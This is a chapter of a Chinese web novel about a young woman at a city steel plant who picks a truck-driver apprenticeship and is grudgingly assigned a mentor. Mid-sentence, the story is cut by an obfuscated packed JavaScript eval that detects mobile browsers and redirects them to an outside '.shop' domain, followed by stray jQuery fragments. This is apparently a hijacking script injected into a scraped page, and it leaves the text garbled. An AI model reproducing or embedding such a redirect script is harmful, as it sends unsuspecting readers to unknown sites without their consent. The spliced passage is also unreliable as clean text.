市第一钢铁厂,人事科办公室里。
“现在厂子一共有这三个地方缺人,小徐你看想选哪个。第一个是仓库管理员,第二个是轧钢车间精装工人,第三个是运输队司机学徒。”
虽然徐念薇父亲是技术科元老骨干,但这老东西骨子里就瞧不起女人,觉得女人干不了他这一行,因此宁愿带无亲无故的男徒弟,也没有给自己孩子传授一星半点技术方面知识。
厂子里了解了这情况后,完全没打算把徐家的女儿放到这么关键的地方去。
人事科的副科长张红简单给徐念薇介绍了下这三份岗位的情况。
头一年进去基础工资都差不多,但发展前景却有很大不同。
仓管活儿清闲,但学不到什么技术发展前途有限;
车间工人要三班倒,累了些但经常有加班工资和补贴福利;
运输队学徒这个不算累,发展前景也不错,但学徒时间最长,而且运输队里绝大部分都是男人,徐念薇一个年轻女孩进去很不方便。
徐念薇根本没有过多犹豫,直接就选了第三个。
张红还以为对方会愿意到仓库当管理员呢,这活儿最适合女孩儿干,没想到她选中的是运输队司机。
她隐隐有些后悔了。
早先厂里开会时候说好的,要给徐家提供三个不同岗位让人家自己选。
厂里其实还有各科室科员、资料员广播员等岗位名额可以拿出来。
但这些岗位都是香馍馍,张红没舍得拿出来,准备以后和其他厂领导来往做人情。
仓管员才是她真正打算给徐念薇的工作,另外两个就是拿来凑数的。
运输队司机对女孩不友好,但在男人间很吃香,哪个司机家里没有年纪合适的子侄收作学徒?只是被人员指标这一项给卡着罢了。
现在徐念薇选了这岗位,只怕是动了某些人的蛋糕。
张红脑子里不断涌现出各种人名关系,是得罪领导还是得罪司机,她很快做出决定。
没办法,先把领导给她的任务办好才是最重要的。
至于运输队的老人们要是有意见,到时候和她关系也不大了,毕竟是徐念薇自己选的么。
登记好手续后,张红带她领了工服手套等劳保用品,然后带着人绕过几栋宽大的厂房,把人带到一小排双层砖瓦房前的一大片空地上。
徐念薇眼睛死死钉在那些比大象还有庞大好几倍的铁疙瘩上,这可比她在路上见到的汽车还要威风。
最优秀的女人就该驾驭这种级别的大家伙。
几个没出车的司机都在拿着各种家伙事儿在给大车做保养,身上的工服都沾染上了油漆。
那东西可难洗,一般人都不敢随便靠近。
“张科长,你咋领了个女娃到我们运输队来?”运输队副队长老袁上前招呼着。
“给你们送人才来了,这位小同志是之前技术科徐师傅家的四女儿,厂里给她安排到了运输队,以后就是你们徒弟了。”
“啊,张科长,你没和我整笑儿吧。徐师傅因工牺牲的事儿我们也听说了。
但这样一个标志的女同志,不让她体体面面坐办公室,来又脏又苦的车队干啥,她踩得动刹车扳得动老虎钳么。”
老袁这话也没乱说,钢铁厂运输钢材的货车几乎是这年头运载量最大的车型,又大又长,方向盘都不是一个女孩能轻易握住的。
张红刚才也用同样的理由劝退过徐念薇,这会儿没说什么,只是拍了拍她的背。
“你去给袁队长露两手。”
徐念薇点点头,环顾了一圈后,走到一只放在地上的货车车轮胎,弯下腰先掂了掂重量,觉得可以了,下盘使力直接给提到了腰间的高度。
本来可以试试举过头顶的,但徐念薇一直没正儿八经测试过自己的力量,在码头扛包都只出了五成力,这会儿她担心关键时候出岔子就没整花活。
“哎哟哟,这虎妞力气可真大!”
一旁看着的司机师傅们都瞪大了眼,常年和货车打交道,他们怎么不知道那一只轮胎可有六七十公斤,就算是他们自己都很难搬得动。
“我的天,快放下来快放下,这车胎重严禁单人硬搬,以后可不许这样了。”
老袁连连摆手,看到徐念薇听话地把车轮放下后,他才擦着额头的虚汗,没好气冲张红道,“你从哪儿给我找来这个活宝。”
张红笑笑没说话,刚刚在人事科办公室,她可是被徐家这个怪力少女,单手像抱小孩儿一样给举了起来。
她亲爹都过世多少年了,谁能想到还有这么一天。
也就是这运输队全是脏兮兮的臭男人,徐家这闺女才没对人下手,他们偷着乐去吧。
欣赏完几个司机惊讶的表情后,张红说起正事。
“老袁,这下你该没什么话说了吧,人小姑娘指不定是天生吃你这碗饭的人呢。”
“那可不一定,司机又不是力工,最重要的还是技术和胆量,我们这车一般人爬上去都费劲,她真有那胆子开?”
“谁生下来就会开车,还不是学着学着才会的,她既然愿意来运输队,胆量应该也没问题,你赶紧给人安排个师父带着。
一个月后我和工会那边的领导都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407185|200579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要来看的,除非小徐中途主动退出,不然你得把人教得能把车开起来。”
张红还有其他事,撂下这番话后就离开了。
徐念薇一副老实相,眼巴巴地看着老袁。
老袁有苦说不出,有些烦躁地召集起所有在厂里的司机,问谁有空能带人的。
众人反响平平。
这也是正常的,这年头要学一门手艺哪有那么容易,哪个不是要送钱送礼还要看师傅愿不愿意收。
徐念薇是厂子硬分下来的,她和她老子和司机们都没啥交情。而且她家现在没有长辈了,万一是个啥都不懂的愣头青咋办。
既然没人主动,老袁自己指人:“老江,你手下带的人不多,就把小徐交给你吧。
刚刚张科长下的任务大伙都知道了,这一个月可得好好教人。”
江庆山一样是个四十多的中年人,但看着比老袁要白点儿也年轻点儿,被点中后他也知道这差事躲不掉了,可他心里就是不好受。
好不容易前段时间车队里被调走了两个司机,本来轮到了他可以多带一个徒弟。
他老婆和娘家都谈妥了礼也收了,就等着名额确定了他去打报告,然后将媳妇儿娘家侄子给安排进来。
结果现在名额和名额上站着的人是一起下来的,还是个不中用的女娃,他能乐意带人才怪了。
江庆山头疼地吩咐跟自己最久的大徒弟:“志文,最基础的那些你去教,以后每天下班前一小时我再过来检查。”
朱志文是个面容和气一脸斯文的年轻男人,个子不高也不矮,算是北方男人平均水平。
不出车时他干的最多的也就是给师父打下手,教新人开车算是轻松活儿了,他也能乘机多抓一下方向盘。
青年点头答应后,带着礼貌的微笑走到徐念薇面前伸出右手,嗓子绷得有点紧。
“徐同志你好,师父让我先来教你开大车的基础知识,希望今后我们两个能好好相处合作愉快。”
徐念薇回握了一下,说了一句今后麻烦了,随后被朱志文带着和运输队里的其他人互相打招呼认脸。
“咱们运输队有两个小队,人数都差不多。我们是二队,一队出车去省城了还没回来。
你带纸笔了没,接下来我说的话你最好都记下了,这样回家了还能多熟悉熟悉……”
徐念薇立马照做,一天下来,她的小笔记本上记了两页多的笔记。
朱志文还算体贴,没有一股脑儿将所有知识都说完。
头天只教她认了认车里各种部件,最后让她在停着的货车上打了几圈方向盘过了点瘾。